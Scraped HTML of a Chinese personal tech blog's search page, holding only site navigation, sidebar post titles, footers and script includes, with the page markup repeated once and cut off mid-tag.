tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>Search | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Search | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//search"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="Search | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/search-005f77f243d63e6b.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a 